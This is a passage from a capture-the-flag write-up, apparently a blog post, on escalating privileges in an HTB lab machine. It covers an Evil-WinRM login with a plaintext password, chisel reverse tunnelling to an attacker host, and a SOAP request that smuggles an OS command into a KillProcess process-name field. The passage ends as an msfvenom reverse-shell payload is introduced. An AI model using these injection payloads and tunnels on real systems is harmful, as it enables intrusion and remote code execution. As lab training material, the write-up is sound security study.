  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -i overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\sqlmgmt\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">overwatch\sqlmgmt</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>User Flag:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">S200401</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type user.txt</span>

<span class="win-output">f22deb71************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-sqlmgmt">Escalation from <code class="language-plaintext highlighter-rouge">sqlmgmt</code>:</h2>
<h3 id="port-8000">Port 8000:</h3>

<p>Port 8000 is listening. This is likely related to the executable seen earlier.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">S200401</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">netstat -ano | findstr LISTENING</span>

<span class="win-output">&nbsp;
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       920
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       920
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       372
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:6520           0.0.0.0:0              LISTENING       2528
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2852
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       676
..SNIP..</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>I’ll set up port forwarding with <a href="https://github.com/jpillora/chisel">chisel</a>. I’ll first start the server on my host:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">./chisel_1.11.3_linux_amd64 server -p 5000 --reverse</span>
<span class="cmd-output">
2026/01/31 01:33:09 server: Reverse tunnelling enabled
2026/01/31 01:33:09 server: Fingerprint Gml8XVY2oIm/g+BVt5W4iAPaQBRiAk+zJpax8Itba5Q=
2026/01/31 01:33:09 server: Listening on http://0.0.0.0:5000
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>And then connect to it from the box.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">S200401</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\sqlmgmt\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\chisel.exe client 10.10.14.12:5000 R:8000:localhost:8000</span>

<span class="win-output">2026/01/30 07:17:10 client: Connecting to ws://10.10.14.12:5000
2026/01/30 07:17:13 client: Connected (Latency 378.5191ms)</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Now the service is accessible from my Kali on port 8000.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/overwatch/soap_home.png" alt="" /></p>

<p>The WSDL schema can be viewed with the <code class="language-plaintext highlighter-rouge">?singleWsdl</code> parameter.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/overwatch/soap_singlewsdl.png" alt="" /></p>

<p>There’s 3 operations: <code class="language-plaintext highlighter-rouge">StartMonitoring</code>, <code class="language-plaintext highlighter-rouge">StopMonitoring</code> and <code class="language-plaintext highlighter-rouge">KillProcess</code>. Only <code class="language-plaintext highlighter-rouge">KillProcess</code> takes parameters. Their implementations can also be found in the decompiled source code earlier.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/overwatch/dotpeek_monitorservice.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">KillProcess</code> is vulnerable to OS command injection, in particular this line:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">string</span> <span class="n">scriptContents</span> <span class="p">=</span> <span class="s">"Stop-Process -Name "</span> <span class="p">+</span> <span class="n">processName</span> <span class="p">+</span> <span class="s">" -Force"</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="os-command-injection">OS Command Injection:</h3>

<p>SOAP requests (and XML in general) can be quite disgusting to deal with. I’ll use <a href="https://www.kloudbean.com/soap-request-generator/">this page</a> to generate the POST data for me.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;soap:Envelope</span> <span class="na">xmlns:soap=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span> <span class="na">xmlns:ns=</span><span class="s">"http://tempuri.org/"</span> <span class="na">encodingStyle=</span><span class="s">"http://schemas.xmlsoap.org/soap/encoding/"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;soap:Header&gt;</span>
    <span class="nt">&lt;Action&gt;</span>http://tempuri.org/IMonitoringService/KillProcess<span class="nt">&lt;/Action&gt;</span>
  <span class="nt">&lt;/soap:Header&gt;</span>
  <span class="nt">&lt;soap:Body&gt;</span>
    <span class="nt">&lt;ns:KillProcess&gt;</span>
      <span class="nt">&lt;ns:processName&gt;</span>asdf; echo pwned &gt; c:\pwned.txt;<span class="nt">&lt;/ns:processName&gt;</span>
    <span class="nt">&lt;/ns:KillProcess&gt;</span>
  <span class="nt">&lt;/soap:Body&gt;</span>
<span class="nt">&lt;/soap:Envelope&gt;</span>
</code></pre></div></div>
<p><br /></p>

<p>The payload attempts a basic injection to create <code class="language-plaintext highlighter-rouge">pwned.txt</code> in the root directory. When sent, it threw an error:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">curl -X POST http://localhost:8000/MonitorService -H &#39;Content-Type: text/xml&#39; -H &#39;SOAPAction: &quot;http://tempuri.org/IMonitoringService/KillProcess&quot;&#39; -d &quot;$(cat payload.txt)&quot;</span>
<span class="cmd-output">
&lt;s:Envelope xmlns:s=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;&lt;s:Body&gt;&lt;KillProcessResponse xmlns=&quot;http://tempuri.org/&quot;&gt;&lt;KillProcessResult&gt;Error: The term &#39;-Force&#39; is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.&lt;/KillProcessResult&gt;&lt;/KillProcessResponse&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, the file was created, indicating the command injection was successful.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">S200401</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir c:\</span>

<span class="win-output">&nbsp;
    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/16/2025   4:35 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         5/16/2025   8:11 PM                Program Files
d-----         5/16/2025   5:35 PM                Program Files (x86)
d-----         5/16/2025   5:30 PM                SQL2022
d-r---         5/16/2025   8:08 PM                Users
d-----        12/31/2025  11:17 PM                Windows
-a----         1/30/2026   8:44 AM             16 pwned.txt</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>For the shell, I’ll generate a payload with <code class="language-plaintext highlighter-rouge">msfvenom</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
